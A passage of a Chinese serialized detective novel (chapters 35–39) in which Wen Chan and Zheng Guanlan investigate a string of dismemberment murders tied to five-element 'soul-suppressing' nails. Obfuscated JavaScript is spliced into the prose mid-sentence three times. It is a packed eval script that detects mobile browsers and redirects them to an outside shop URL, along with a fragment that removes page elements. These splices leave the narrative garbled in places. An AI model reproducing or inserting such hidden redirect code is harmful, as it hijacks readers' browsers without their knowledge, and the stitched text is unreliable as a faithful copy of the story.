“兰郎君,你误会了。我和他们不是一路人。唉……”闻蝉垂下眼,一脸哀愁,“我出身不好,他们瞧不起我,有了案情的进展也不告诉我,我没法子才来问你的,没想到他们竟然对你也这样……” “你……”兰赞见她的样子不像是假的,看着还挺可怜,一时共情,“我……我不是冲着你啊。” 闻蝉扬起一个笑:“你别误会我就好。” 兰赞挠了挠头:“你方才问我那个,我也不是很清楚,只知道他们带着狗到处闻,那狗在我铺子的门口叫唤。他们就冲进去到处找,后来在那火炉子里找到的脑袋。” “原来如此。”闻蝉起身,“多谢兰郎君,我就不多打扰了。” 兰赞跟着站起来:“我送你。” 闻蝉没有拒绝,走得很慢。 “嗯?”她忽然指着兰赞腰间的匕首问道,“兰郎君这个匕首的形状似乎有些特殊?” 兰赞很是大方,直接把匕首塞给她。 “这是我们兰氏特有的三棱匕首!” 匕首抽出,露出奇特的三面刀身。 这刀,和齐放的刀十分相似,只是更细长。 “真是少见。”闻蝉将匕首双手奉还,“我看怀远坊也没见有卖这个的呢。” “这是我们兰氏子弟出生的时候族里亲手打造的,除了少部分流出,市面上根本就看不到。”兰赞犹豫了一二,小心翼翼问道,“你喜欢吗?” 闻蝉噗嗤笑了。 “君子不夺人所爱。我只是没见过这样的匕首,才多问了几句。” 这人也太实诚了。 36. 初入郑家 从怀远坊出来,闻蝉没有回家,反而东逛西逛。 一直到了快傍晚的时候,她才在安仁坊的郑家的小门外才停下脚步。 “郑评事。”她转过身,朝着小巷口喊道,“送你到家了,你还不出来吗?” 郑观澜从巷子口走出。 “你怎么老爱跟踪我?”闻蝉走上前,昂着头质问他。 郑观澜一脸公事公办的模样,脸都没有红一下,反而双目灼灼看着她。 “你去找兰赞是为了什么?” “他那里发现了两颗人头,我问问怎么了?不应该吗?”闻蝉背着手,理直气壮。 “你可真是个撒谎的高手。” “比不上你,跟踪的高手。” 郑观澜不想再被她牵着鼻子走。 “你是为了问武器的事情。”郑观澜一语道破,“我问过齐放,你特意问过他匕首的来头,如今又如此关切兰赞的匕首?是为何?” “我问齐放匕首的事情,是因为他在作案时用匕首伤过人。至于今日嘛……”闻蝉拖长了语调,让人不由心都悬了起来。 “是因为我喜欢他想接近他。”闻蝉挑挑眉。 郑观澜气得跺脚。 “你胡说什么!” “就像你喜欢我一直调查我一样!” 一口气差点就没喘上来,郑观澜被呛得咳嗽。 闻蝉叉腰:“下次再查我,我就动手了啊。” 郑观澜喘着气。 “这些话也是能随便说的?” “你管我?” “那个……” 门缓缓打开,成生探头出来。 “郎君,县主让您过去一趟。” 正在吵嘴的二人立即停下话头。 郑观澜稳住气。 “我才到家,母亲就让我过去?” 成生蹑手蹑脚走出来告状。 “是小郎君!他方才跑过来说看见您和闻娘子在附近绕着郑府兜圈子!”他悄悄瞟了一眼闻蝉,“县主还说,要请闻娘子到府上喝茶。” 闻蝉甩甩头:“我就不打扰了。” “闻录事送我回来,要是连茶水都没有喝上一口,岂不是我们郑家失礼?”郑观澜一脸正经。 “你发什么疯?我可没时间和你耗着,我得回去了。”闻蝉转身就走。 郑观澜一步跨上前,堵住她的去路。 “十三定然告了你的黑状,你若是不和母亲解释清楚,母亲定然会报复你。” 信安县主的报复…… 闻蝉还真有些怕。 更何况…… 那个小崽子还敢告她的状? “那我是得向县主解释了。”闻蝉脚步一转,“就有劳郑评事了。” …… 郑府规模相当大,像个园林似的。 三人走了一刻钟才到了正厅。 信安县主正坐在主位上,穿戴一丝不苟,脸上挂着温和疏离的笑。 她和郑观澜长得一点儿都不像,粗眉浓目,很是张扬。 而她的身旁,郑观宁正倚靠在她身上,嘀嘀咕咕的,定然是在告状。 这个破小孩! 郑观澜走进,行礼。 “见过母亲。”他抬手介绍道,“这位就是大理寺的闻录事。” 闻蝉礼仪是不差的,只是这屋里气氛十分压抑,让她不由紧张。 “晚辈见过县主。” 信安县主笑意深了些。 “不必多礼。来人,上茶。” 二人依次坐下,仆人们像是木偶一般动作规整,端上茶水。 “十三郎方才来告诉我,你们二人就在附近,所以我想着顺道请你喝口茶水,闻录事不会介意吧?” 闻蝉笑着说道:“今日在附近办些公事,忙得一口水都没有喝。县主邀请正好解了晚辈燃眉之渴。” 她拿起茶喝了一口,落落大方。 “不仅为此。那日在大理寺,是十三郎冒犯了,我心里一直不安。”信安县主对自己小儿子的话是将信将疑。 她就是想要搞清楚,这个闻蝉是不是胆子真的大到敢打她的儿子,还是只是十三郎胡说。 “小孩淘气也是常理。”闻蝉笑了笑,像是毫无芥蒂一般,“倒是我那日,为了阻止贵府的小郎君,直接将其抱起,好像是吓到了他?” 她一脸关切看向郑观宁。 郑观宁却像是见了怪物一般,缩在自己母亲怀里,全然没了那日的嚣张。 信安抱住孩子。 “他胆子小而已,回来还瞎嚷嚷,非说闻娘子打他。” 闻蝉愣了愣,微微张大嘴。 “是吗?那真是我吓着他了,实在是对不住。那日小郎君说了不好听的话,蔡少卿又要来了,我怕蔡少卿发火才急着把他抱开。” “母亲!”郑观澜沉声道,“十三郎太过任性了,在大理寺厮闹还污蔑他人?该好好罚一罚。” 信安县主少见自己儿子这样动怒,怔了片刻才说道:“是该罚他。” 闻蝉打着圆场。 “小郎君才多大,县主也别太严厉了。说来也怪我,一时冲动,吓着他了。” 信安看着缩在自己怀里的儿子,怎么看怎么像是心虚。 “是我们平日里太纵着他了。”信安县主佯装发怒,拍了一下小儿子屁股,“还不快去给闻姐姐道歉!” 闻蝉起身摆手:“县主勿要动怒,晚辈要是和小孩计较岂不是太过小气了?小郎君那日定然也是一时没找到哥哥才哭闹的,也是人之常情。” 这梯子搭得漂亮,信安县主满意笑了。 “闻录事大度。” 闻蝉瞟了一眼鹌鹑似的郑观宁,说道:“时候不早了,晚辈也不再打扰了。” “闻录事慢走。”信安县主微笑颔首。 “晚辈告辞。” 郑观澜起身:“孩儿去送客。” 信安县主笑容僵硬了一瞬,旋即笑眯起眼。 “去吧。” …… 二人从正院刚一出来,眼前就窜过一道黑影。 闻蝉后退一步,定睛一看,竟是一只极漂亮的黑猫。 那猫儿的毛色纯正极了,黄昏照映下,隐隐发着红,浑身像是镀着一层光。 “是玄猫?” 只有黑得发红的黑猫才能被称之为玄猫。 闻蝉看得目不转睛。 “你养的?” 郑观澜点点头,朝着猫儿招手。 “乌玄,它的名字。” 猫儿迈着小步,走了过来,偏着头看着闻蝉。 闻蝉蹲下身伸出手。 “名字也好听,来,乌玄,让我摸摸?” 乌玄试探着靠近了些许,闻了闻她的手,像是控制不住一般用头蹭了上去。 “哇,这毛好软!”闻蝉就势挠着猫耳朵根。 乌玄喉咙呼噜噜响着,整只猫像水一样,身子一歪躺了下来。 成生目瞪口呆:“郎君,这是乌玄吗……” 他天天给喂食都只能抱不能摸的啊!!! 郑观澜侧过脸。 好丢人…… “诶诶诶!”闻蝉惊讶叫道,“你怎么咬我啊?” “没事吧?”郑观澜急忙去看。 “没事,它只是轻轻咬。”闻蝉摸了一把猫猫头,“不是喜欢我摸你吗?怎么还莫名其妙咬我呀。” 乌玄瞬间炸毛,瞪圆了黄黄的猫眼。 “不逗你啦。”闻蝉站起身,“你这猫真漂亮,养得也真好。” 郑观澜是很得意这一点的。 “随便养养。” 乌玄一溜烟没了影子。 二人继续向前走,到了门口,见没人。 闻蝉才说道:“今日之后,你母亲应该不会找我麻烦了吧?” “不会。”郑观澜眼中浮现起淡淡的笑意,“你也真是个煞神。十三郎从小到大就只怕表兄才会怕成这样,如今见了你倒也有同样的效果。” “他害怕肃王殿下?”闻蝉摸了摸下巴,“早知道就去找十六帮我了。” 郑观澜又没了笑脸。 “你注意分寸,十六是有妇之夫。” 闻蝉想笑极了,甩手跨出门。 “走了!明日早点到!” …… 走在路上,一想到颜青被称呼为“有妇之夫”闻蝉就忍不住乐,甚至笑出声来。 “闻录事?”轻柔的女声响起,带着几分亲近,“您是遇见了什么好笑的事情,说来听听?” 背着药箱的女子,面上带笑,缓缓走来。 “林大夫?” 林兰走近:“方才给县主看诊,听见十三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“都在说……说得可玄乎了。”林兰双手合十。 “鬼神之说不足信,只是你确实要小心。” “我不信鬼神,但是怕人心。”林兰理了理鬓发,“会杀人的人可比鬼可怕多了。” …… 深夜,郑府。 刚刚归家的郑士恒就落了妻子的埋怨。 “怎么这么晚才回来?外头本就不太平,你也不怕?”信安县主给自己夫君宽着衣数落着他。 郑士恒无奈笑了。 “你也信外头传的胡话?这案子是咱们六郎在办,他都不怕,你怕什么?” “谁信那些鬼话?”信安县主坐到一旁,“我可都听说了,那凶手是个高手,凶残无比,专杀朝廷官员,才担心你的。” “没事,我出门都带着随从。”郑士恒坐到了妻子身边,“你今日怎么了?谁惹你生气了?” 自他进门,自己妻子眉心的纹路就没有褪下过。 “我见过那个闻蝉了。” 郑士恒凑近道:“真是她打了十三郎?” “没有,是十三郎胡说的。” 郑士恒直起身:“那你怎么还拉着脸?” “这个闻蝉……很招人喜欢。” 郑士恒怀疑是不是自己听错了。 “啊?” 他的夫人这是黑着脸夸别人招人喜欢? 信安县主咬着牙。 “你是没有见着她那劲劲儿的样子……那股子气韵,我从未没在任何人身上见过……” {郑士恒:夫人,你这样说我觉得我头顶有些绿……} 郑士恒不知该怎么接这话,衡量了许久才说道:“你喜欢她那就常请她来府上做客吧?” 信安县主白了他一眼。 “你不懂吗?” “我……应该懂什么?” 信安县主叹了口气。 “我是怕六郎……会喜欢她。” 郑士恒被逗笑了。 “你想什么呢?上次我还听大哥说,俩人关系不好呢。” 信安县主推了他一把。 “不和你说了,傻子似的。” 郑士恒顺势握住她的手。 “你就别瞎想了,六郎喜欢的是大家闺秀,怎么会和闻录事有什么?你可别把这些话往外说,坏了别人名声就不好了。” 信安县主还是叹气。 “但愿,是我多想了。” 37. 如影随形 “你就那么讨厌薛焕?”闻蝉扭头看他,“难道是因为他和你表姐关系不好?” 她现在是摸得准对方的性格了。 小气,护短! “算好,也不算好。只是我不喜欢这种人罢了。” 闻蝉扯了扯他的袖子,一脸认真。 “我要听。” “好打听……”郑观澜嘴里这样说,还是如实讲道,“当年薛焕中意广平公主,一直想要迎娶公主为妻。即使公主早就和老丞相家的大郎定下婚约,且对他无意。表姐和他自小就有婚约,他若是不愿,大可早些解除婚约。他不管不顾,闹得沸沸扬扬,让表姐很是没脸。虽说婚后没有什么,可这人人品不端就是板上钉钉的事。” 闻蝉听得脸都皱成了一团:“膈应人。这些京城传闻中的好夫妻怎么个个都名不副实啊。” 郑观澜想到自己的大伯父和大伯母。 “或许,人人都是如此。是为了名声凑合过日子。” …… 冯家。 这还是闻蝉第一次见到传说中的大才女——文敏。 她有一双很聪明的眼睛。 闻蝉见了她才算明白,什么叫做长了一张有学问的脸。 只是太瘦了太憔悴了。 那双手腕上紧紧贴着一层皮,干枯得像是树皮一样。 明明也只是三十多的年纪。 “本该主动去大理寺配合二位查案,但我这身子实在是不济,反倒劳动二位又跑一趟了。” 闻蝉被她这样客气的态度弄得都不好意思了。 “夫人客气了,这次来也只是有些小事想要问问。” “闻录事但问无妨。”文敏温柔一笑,“不必有所顾忌。” “之前您说冯郎君最近开始求神拜佛?” 对这个问题,文敏讶异了一瞬才回答道:“是,大概半年前吧,夫君就开始信佛了,不仅在家里专门弄了个佛堂,还时常茹素。”她眼皮颤了颤,“也是怪我,一直没有孩子,夫君很是着急此事,就……病急乱投医。” 原来是为了求子才拜佛的。 可闻蝉还是觉得很不对劲。 “闻录事。”文敏试探着问道,“夫君的死和此有关吗?” 闻蝉摇摇头:“只是随口一问。夫人,冯郎君失踪前的具体情形如何你可还记得吗?” “记得的,那日用完晚饭,他说要出去转转,就一个人走了。我还劝他,说时辰都不早了,还出去什么,他不听,只说自己就在附近转,一会儿就回来。谁成想……”文敏说着说着,眼泪忍不住就掉了下来。 “夫人节哀……”闻蝉不好再问。 文敏按了按眼角。 “是我一时激动了,闻录事继续问吧。” “您方才说那个佛堂,可否让我们去看看?” “自然可以。”文敏招手叫来管事带着二人去,自己则回屋休息。 佛堂就在大厅右侧,几步的功夫就到了。 管事一边开门一边絮叨:“阿郎花了不少心思在这佛堂上呢,光是佛像就请了好几尊……” 门一打开,灰尘扑面,呛得人喉咙发痒。 佛堂内没有点灯,屋外也已是快要黄昏,天光渐暗,让人看得不分明,只隐隐约约看得清几处金光闪烁。 嚓! 管事掏出火折子,点燃了烛台。 里间一下亮堂了起来。 走进去,正对着的就是抱着孩子的送子观音,右侧是笑盈盈的弥勒佛,左侧是手持明灯的定光佛。 全是求子的! 佛前的供桌已经空荡荡,只放着一个孤零零的香炉。 这个气味…… 闻蝉鼻子动了动。 “佛堂内焚香的气味有些特殊,带着一股药味?” 管事说道:“是我们郎君从外面特意买的,说是能养身。” 闻蝉在佛堂里兜了几圈,也没看出其他名堂。 管事亦步亦趋。 “闻录事……佛堂有什么不对吗?” “没有。”闻蝉走到门口,“今日叨扰了。” 管事送二人出了门才折返,十分客气周到。 到了无人处,郑观澜才问道:“那个香有问题吗?” “闻上去没有,就是普通的药香,只是我在想,你说其余几人求神拜佛会不会也是为了求子?” “很有可能。” “求神拜佛……铁钉……花纹……我觉得这是一条很值得深挖的线索。只是这几人看上去都没什么联系啊。” “也不是完全没有。” “啊?” “你方才在出神,没有注意到,文家对面就是潘铄他们家。” “什么?!” “还有……”郑观澜犹豫了一二才说道,“如果薛焕是被杀的人之一……那薛焕和冯鄂也有联系。我表姐和冯鄂的夫人文敏也是表姐妹。” 闻蝉心里咚咚跳了两下,像是被敲击的木鱼一般。 “这联系也不能说明太多。”郑观澜说道,“死的几个人非富即贵,有些姻亲也是常理。” 经过百年的发展,世家大族早就通过联姻的方式形成了盘根错节的势力网。 但凡和世家沾点亲的,细细算来,亲戚都不少。 闻蝉站在原地一动不动,不知道在想什么。 “你听到了吗?”郑观澜见她没反应开口道。 闻蝉点了点头。 “我们边走边说。” 她拉住郑观澜朝着旁边的小巷拐进去。 郑观澜一脸懵。 “你走这条路做甚?” “这条路能绕回去,更近啊。” 郑观澜不疑有他,老老实实跟着她走。 路越走越窄,到最后竟然只刚刚够二人并排通过。 边上还堆着废弃的烂木破瓦。 他拂了拂袖子。 “下次还是走大路吧,这里太脏了。” 闻蝉猛地顿住脚步,转过身,一双眼睛直勾勾盯着他。 “你……”郑观澜心头一跳,“你又要做甚?” 闻蝉咧开嘴,露出白森森的牙。 “孤男寡女的,你说我带你来这儿做什么?” 她伸出双手。 郑观澜被吓得连连后退,两边的杂物被他踢得呼啦啦地响。 而始作俑者此时却将他一把推开,对着巷子口甩出一把飞刀。 叮—— 飞刀被打落,巷口的墙后露出一截刀尖。 “出来吧,还装呢。”闻蝉叉着腰,“顺道把我飞刀捡起来擦干净还给我。” 郑观澜稳住身体,这才明白是有人跟踪他们。 片刻后,一个高大的人影从巷子口走了出来。 那人穿着一身熠熠生辉的明光铠,一看就是金吾卫的人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870318|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗨哟,闻娘子还是这样的暴脾气。”他捡起飞刀,还真擦了擦递还给闻蝉。 闻蝉一把接过。 “霍其彰,你跟踪我们干嘛?” “诶!你怎么还直呼大名了!”霍其彰笑嘻嘻的,“这不是看你们俩查着这么危险的案子还往偏僻地方走不放心嘛!谁知道……” 他眼神变得暧昧起来,在二人之间打着转。 “看不出来啊,你们年轻人还真……令人佩服。” 郑观澜脸乍然红透,闻蝉却环抱双臂,一错不错盯着他。 “从冯家出来开始你就跟着我们了,唬谁呢?” 霍其彰张了张嘴,哑口无言。 “你是跟踪我们还是一直守着冯家?” “你怀疑我?”霍其彰像是很震惊的模样,向后退了一大步,“冯鄂和我是同僚,他出了事,又是这样大的案子,我作为金吾卫自然要加强巡逻。我跟踪你们也只是真怕你们出事。” 闻蝉凝视了他片刻忽而轻笑一声。 “霍将军不早说!方才把我吓得,还以为遇到了什么歹人。” 郑观澜微微皱起眉,想要说什么却被她按住。 “下次有什么你直接叫住我们就是了,非要跟做贼似的!” 霍其彰哈哈一笑,拍了拍自己的脑袋。 “我这木鱼脑子!你又不是不知道!” “不过,将军确实要注意了。我感觉这次的凶手非同一般。” 霍其彰也严肃了起来。 “我也听说了,那凶手确实是穷凶极恶,把人像牲口一样给碎尸了!处理得干干净净,这绝非普通人能够做得到!闻娘子……”他不由压低了声音,“你可有怀疑的人?” 闻蝉苦着脸。 “别提了,现在还没头绪了,上头还天天找我让我加紧破案。” 霍其彰安慰道:“你的本事大,定然有法子的!邪不压正,我就不信他一个凶手还能逃的出法网恢恢?” “正巧,我还想问问您呢,您最近巡逻可有瞧见什么形迹鬼祟之人?” “在你们发现尸体前,我们就因为冯鄂失踪的事情排查过了。后来传出冯鄂被杀的消息,金吾卫的弟兄更是个个都闹着要给他报仇。可不管怎么查我们愣是找不到半点可疑之人。这个凶手真不知道是怎么抛的尸,那么大的尸块,怎么也该有点痕迹啊!”霍其彰长叹一口气,“就连那些乞丐我们都查了一遍,还是没有半分线索。可怜文夫人…… …… “他在撒谎。”郑观澜看着霍其彰远去的背影说道。 闻蝉没有半分意外之色。 “我知道。” “他很有嫌疑。” 闻蝉笑着看他:“哦?何出此言呢?” “抛尸。这些尸块并不小,而且还分散各处。凶手一定是一个到处行走还能够不招人眼的人。金吾卫就很有嫌疑。而且他还不是没有品级的小卒,是能够自由单独行动的将军。他完全有能力趁着夜间巡逻抛尸。” 闻蝉拍了两下掌。 “分析得没错。尸体被处理得十分干净,但是嘛,凶手的手法总是能留下蛛丝马迹,譬如你所说的抛尸。这个案子,重点还是落在了分尸和抛尸上。而且,他还是给我提了个醒。” “什么?” “如他所言,最大的尸块可没有那么好携带,凶手是怎么做到多次抛尸不被人发现任何踪迹的呢?” 38. 五行镇魂钉 第二日一早。 闻蝉踩着点到了值房。 一开门,郑观澜就像是一尊大神一般坐在她的值房里。 双眼青黑,面容憔悴。 闻蝉一摇一晃走到他面前,俯下身,仔仔细细打量着他的脸。 “你昨晚没回去啊?如此勤劳?” 对方的目光总是过于犀利,郑观澜不由向后仰了仰,摇摇头,点了点桌上的一本书。 “昨晚翻到的,你看看。” 肯定是什么线索! 闻蝉一把拿起那本书。 只见那书封面上写着《内症观察笔记》五个字。 她缓缓抬起头,挤出一个笑。 “这种高深的东西我可看不懂……” “不是让你研究。” 郑观澜白了她一眼,伸手把书翻到最后一页,指了指上面批注的一副图。 图上写着“金木水火土”五个字,其下有一排符号。 “金”下面是一个树杈形,线条顶端和交叉处画着几个点。 “木”下面的符号是一个半环形上面画着五个点。 “水”下面的符号是一个叉,顶端和交叉处画着远点。 “火”下面则是一个菱形图案,每个角都画上了点。 “土”下面的图案最特殊,是两条平行的竖线,每条线上的首尾中分布着三个点 闻蝉扬起眉毛,笑了。 “是钉子上的花纹?” “没错。” 闻蝉摩挲着上面的图案:“我怎么觉着,这像是镇魂的那种邪术?” “五行镇魂,是常见的说法。” 闻蝉一拍桌子:“那死者还真有五个!” “之前出现的四个钉子代表五行是金水火土,还有一个木没找到。”郑观澜补充道,“而死者丢失的五官也和五行有关。目??属木,舌??属火,口??属土??,鼻??属金,耳属水。” 闻蝉一屁股坐下来,双手撑着腮边。 “说到这些我就脑子疼,你来捋。” 郑观澜认命一般拿起纸笔,边写边说。 “按照时间顺序。第一个死者潘铄,失去了代表水的耳朵,钉子花纹为土,土克水。第二个死者司马岳,失去了代表金的鼻子,钉子花纹为火,火克金。第三个死者柳济源,失去了代表木的眼睛,钉子花纹为金,金克木的金。第四个死者冯鄂失去了代表火的舌头,钉子花纹为水,水克火。钉子代表的五行正好克制他们失去的五官代表的五行。” 他把写好的纸吹了吹放在闻蝉跟前。 “你再仔细看看他们的名字。” 闻蝉看了好几眼,更加疑惑,歪着头问道:“五行相克的道理我懂,可这和他们的名字有什么关系?” 郑观澜眼神漂移了一瞬,清了清嗓子。 “你知道我为何叫郑观澜吗?” “‘观水有术,必观其澜。’?” 郑观澜有些讶异:“是来自于《孟子》,你怎么会知晓?” 闻蝉不满他的轻蔑,龇了龇牙。 “我也是读过书的!真以为我目不识丁啊?我两岁就开蒙了,孟子这一类书,都是必读的,我爹娘早就教过我了。” 郑观澜摸了摸鼻子。 他确实没想到对方还会读孟子这一类的书,更没想到对方的父母出身平平,竟然还会读书,甚至两岁就开蒙,这着实很少见。即使是他们这些家里,也是到了三四岁才开蒙。 闻蝉一眼看透他的想法。 “哼,所以呀,你们这些世家一代不如一代,还不如我家重视孩子读书,养出来些什么玩意儿啊。” 这一点郑观澜赞同。 世家确实一代不如一代,但这话打死他他也不会承认。 “咳,除此以外,还有一个原因,我五行喜水。澜就属水。” 闻蝉这下算是反应了过来。 讲究的人家在给孩子取名时十分看重五行喜忌。 “潘铄的铄代表金,他是喜金的?司马岳的岳,是喜土?柳济源喜水,鄂?” “属木。今日我来得早,已经查过了他们的生辰八字。潘铄是水命喜金,司马岳是金命喜土,柳济源是木命喜水,冯鄂是火命喜木,这和他们丢失的五官五行相互对应。” “失去的五官代表他们本身五行属性,钉子又是克制其五行的。这不就相当于是要镇住他们的魂魄吗?”闻蝉摩挲着自己的手指甲,“看来仇杀的可能性更大了。” “还有一点,我昨日回去让人查了。司马岳的夫人王有竹和柳济源的夫人张弗是手帕交,而且柳家和潘家也住在同一个坊。” “她们彼此认识?” “相当熟悉。朝廷在开明坊中划出田地和屋舍供给无人奉养的老人和孤儿居住,称之为悲田坊,并交由附近的寺庙僧侣管辖。她们时常去那里管辖悲田坊的寺庙上香,还年年不断给悲田坊捐赠大量财物。” “开明坊……柳济源的尸体就在开明坊周围……开明坊附近寺庙……”闻蝉甩了甩头,“去悲田坊。” …… 悲田坊。 将近端午,地里的麦子都熟了,放眼望去是无边际的金黄一片。 麦田边上是一排排夯土屋子。 虽然朴素,但路上被打扫得干干净净,连灰尘都没有。 “这是……”穿着补丁衣裳的僧人看着面前的几辆满登登的牛车,瞠目结舌。 车上堆满了棉袄布匹以及粮食,旁边的人正一袋袋往下搬着粮食。 不仅如此,还有满满的两担的书和笔墨纸砚。 郑观澜让成生把东西放下,对着僧人说道:“奉家母之命,来送些东西给悲田坊的老人孩子,聊表心意。” 僧人激动得手都有些发颤,他双手合十,口呼佛号。 “阿弥陀佛,县主慈悲。贫僧先谢过了。” 一旁的闻蝉说道:“小师傅,我们这边刚好有人手可帮忙,你带着人先把东西分了吧。” “闻施主说的是,二位先稍等。”僧人引着二人在旁边的草棚下入座,又给二人盛来清水,才去忙着叫人出来分东西。 食物和布匹自然是被收归仓库棉袄和笔墨纸砚则是当场就分发了一半给那些老人孩子。 他们彼此倒是很和谐,没有人要抢先闹事,很快就把东西分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林兰摆摆手:“郑郎君和闻录事都是很随和的人,你操心什么?我来帮你招待,快去吧。” 闻蝉主动打了个招呼,指了指对面的位置。 “林大夫,又见面了。” “是啊,人生何处不相逢,没想到又见到郑郎君和闻录事了。”林兰行了个礼,自顾自坐了下来。 见二人语气亲密,僧人也放下心走开了。 闻蝉问道:“方才林大夫所言是何意?” 林兰喝下一大口水才说道:“我这人不爱绕圈子。闻录事查了这么久,想必也对那几人家中的情况有了一二了解吧?” 闻蝉也不避讳,简短评价道:“名不副实。” “闻录事确实和凡人不同。不瞒你说,这几位夫人我都认识,也给她们瞧过病,个个都是心中郁结的病症……”林兰顿了顿,“作为医者本不该泄露患者隐私,我只能说,这几位夫人都过得不好,所嫁非人啊。” 闻蝉挑眉:“所以,你认为,他们的死是好事?” 林兰大方点点头。 “夫君被害,确实是祸,可伤心也好磨难也罢,最多不过几年的时间。她们都有钱财傍身,等熬过来了,剩下的几十年就是福了。” 闻蝉还是头一回听见这话,不过论起来却有几分道理。 “林大夫所言颇有意思,希望一切如你所言,等熬过来了,就是福。” 林兰眼神双手合十,微微垂下眼。 “阿弥陀佛。” 39. 守望相助 “要去潘家吗?” 二人自开明坊回来也没回大理寺直往崇义坊走去。 “是。”闻蝉理了理衣裳,“我总觉得还是要从他们家中入手。” “好。” 潘家就在崇义坊北坊门旁。 虽因为潘家商户身份,宅子的规模比不上那些官宦人家,可也不算小,看上去很是气派。 只是此刻,还是下午,潘家的大门还紧闭着,让人生出几分疑问。 闻蝉走上阶梯,敲了两下门。 “可有人在吗?” 里间毫无回应。 二人对视一眼,闻蝉用力又拍了两下大门,门被拍得微微震动,嗡嗡的响。 她提高了音量。 “有人在吗?” 还是沉默。 闻蝉缓缓放下手,心跳得快了两拍。 “潘家这样的大户人家,怎么也会有人看门吧?” 郑观澜也疑心着。 “不如……直接进去看看?” “这门怕是锁住……”闻蝉试着推了推门,门一下被推开。 她身子向前一倒,被门槛绊了一下,还是郑观澜扶住了她。 “小心些。” 闻蝉站稳,跨过门槛,扭头看了一眼大门。 “这门没锁?” “确实古怪。” 一进大门,面前就是一面极大的大照壁,上面雕刻着花朵鸟雀,为“阖家欢乐”之意。 两边的游廊粉彩精致,空空荡荡——没有一个人! 这可是奇了怪了! 二人绕过照壁,正厅的大门敞开着,里面桌椅摆设皆是整整齐齐,却还是没有人在。 “这……”闻蝉话音刚起,就隐隐约约听到几声细碎的噼啪声。 声音像是从后头传来的。 “快!去后院!”她向左一转,跃过游廊栏杆,沿着游廊快步向后院走去。 游廊穿过一道道小门,直达后院,声音逐渐变得清晰起来。 “滚出去!滚出去!”是女子声嘶力竭的大叫声。 接着又是重物坠地之声,乒乒乓乓,听着就混乱极了。 闻蝉已经小跑了起来。 到了门口,她一脚踢开院门。 砰! 一声巨响后,所有声音消失了。 院内,一片狼藉。 龚悠正瘫坐在椅子上,面前站着几个拿着棍棒的仆人,有男有女。 而在厅外,几个中年人带着一群壮汉正和他们对峙。 “闻……闻录事?”龚悠晃着身子强撑着站了起来,一脸不敢置信。 闻蝉见没出大事,暗自松了口气,绷着脸负手走到厅内,扫了一眼那几人中年人。 “这是,怎么回事啊?” 对方虽然未穿官服,可是一看着官服就知是前段时日才封的女官。 那几人立即挥退了手下的壮汉,想着说辞。 还不等他们开口,龚悠就捂着脸哭了起来。 闻蝉快步上前,抚了抚她的脊背。 “龚夫人,可是这些人来找你的麻烦?你大胆说,本官定会为你做主。” 此话一出,那几人齐齐跪了下来。 “冤枉啊!我们只是来……” “来什么!”闻蝉猛地一转头,恶狠狠盯着他们,眼神如刀,让人不敢直视。 “他们是来争家产的!”龚悠一边擦着泪一边诉说自己的委屈,“这几人都是夫君的叔伯。听说了夫君的死讯后,他们就上门来,说要把我赶出家去,还说潘家的生意就该归他们潘家人。” “放屁!”闻蝉想要说出条例来,脑子却一片空白。 这些律例她还真不熟悉,不过有人烂熟于心! 她看向郑观澜,使了个眼色。 郑观澜哪里不懂她的意思,开口道:“‘寡妻妾无男者。承夫分。’潘铄的家产和你们有何相干?” 按照以往,家家户户都是如此,谁家男人死了,其余人都一拥而上把这家的锅碗瓢盆都要分个干干净净!更有甚者,把寡妻孩子都敢弄去卖了的都有。 那几人也把陈规当成了律法,反驳道:“我们都是潘家人,难不成要把我们潘家的财产给她一个外人?” “龚夫人是潘铄明媒正娶的妻子,怎么就是外人了?夫妻一体,那是比子女都亲近的关系!倒是你们,八竿子打不着的亲戚,就知道欺负丧夫的寡妇!”闻蝉指着他们,“本官可把你们都记清了,等会儿自己去大理寺领板子,不然就等着本官亲自来捉你们下大狱!” 几人一下闭上了嘴。 闻蝉喘匀气,扶着龚悠坐下。 “夫人怎么不让人去报官?” “他们来得突然,我没有防备。幸好今日……”龚悠忽然反应过来,“二位贵人此番前来是有什么事吗?” 她急急站起:“可是夫君的案子……” “只是顺道来看看你。”闻蝉压低声音,“夫人如今的处境如小儿闹市抱金,我虽有心帮衬,可到底位卑力薄。潘家和不少官家都有来往,夫人也得为自己打算一二。” 龚悠感激一笑。 “实不相瞒,我和柳家的张夫人做了多年邻居,关系向来不错,只是……您也知道她家里也出了事,我也不好打扰。” “张夫人和你也认识?”闻蝉佯装惊讶。 龚悠愁眉不展。 “不仅是张夫人,我和王夫人姐妹还有任夫人关系都不错。也不知是怎么,齐齐出了事,我这边才一时找不到人帮忙。” “你放心。”闻蝉朗声道,“我去找护国公借几个人来,以后,谁敢来闹事,统统抓起来!” 护国公的人……那可都是正儿八经的兵痞! 那几人吓得抖如筛糠,哪里还敢再有坏心思。 龚悠连忙起身行礼。 “多谢闻录事,您这样帮衬,倒是教我不知该如何报答!” 闻蝉扶住她。 “夫人常在悲田坊布施,这是应得的好报。” “悲田坊?”龚悠愣了一下,“都是应该的,我们坐拥家财万贯,放着也是摆设,但给了悲田坊,却足够让那么多人安身立命,何乐而不为呢?” 她一脸坦荡。 闻蝉看了她许久,笑道:“种善因得善果,夫人定然能有好报。” …… 出了潘家,闻蝉没有急着走,而是在小门边上的树后站着。 这里能将潘家后门进出情况看得很清楚。 郑观澜说道:“龚悠似乎并不避讳和王夫人等人相识之事?” “确实看上去坦坦荡荡,但……” 话音未落,门内走出一个仆妇,仆妇右手抱着一个小桶,左手提着一个大桶。 她很是着急,埋着头赶路,根本没有发现二人。 这就奇怪了。 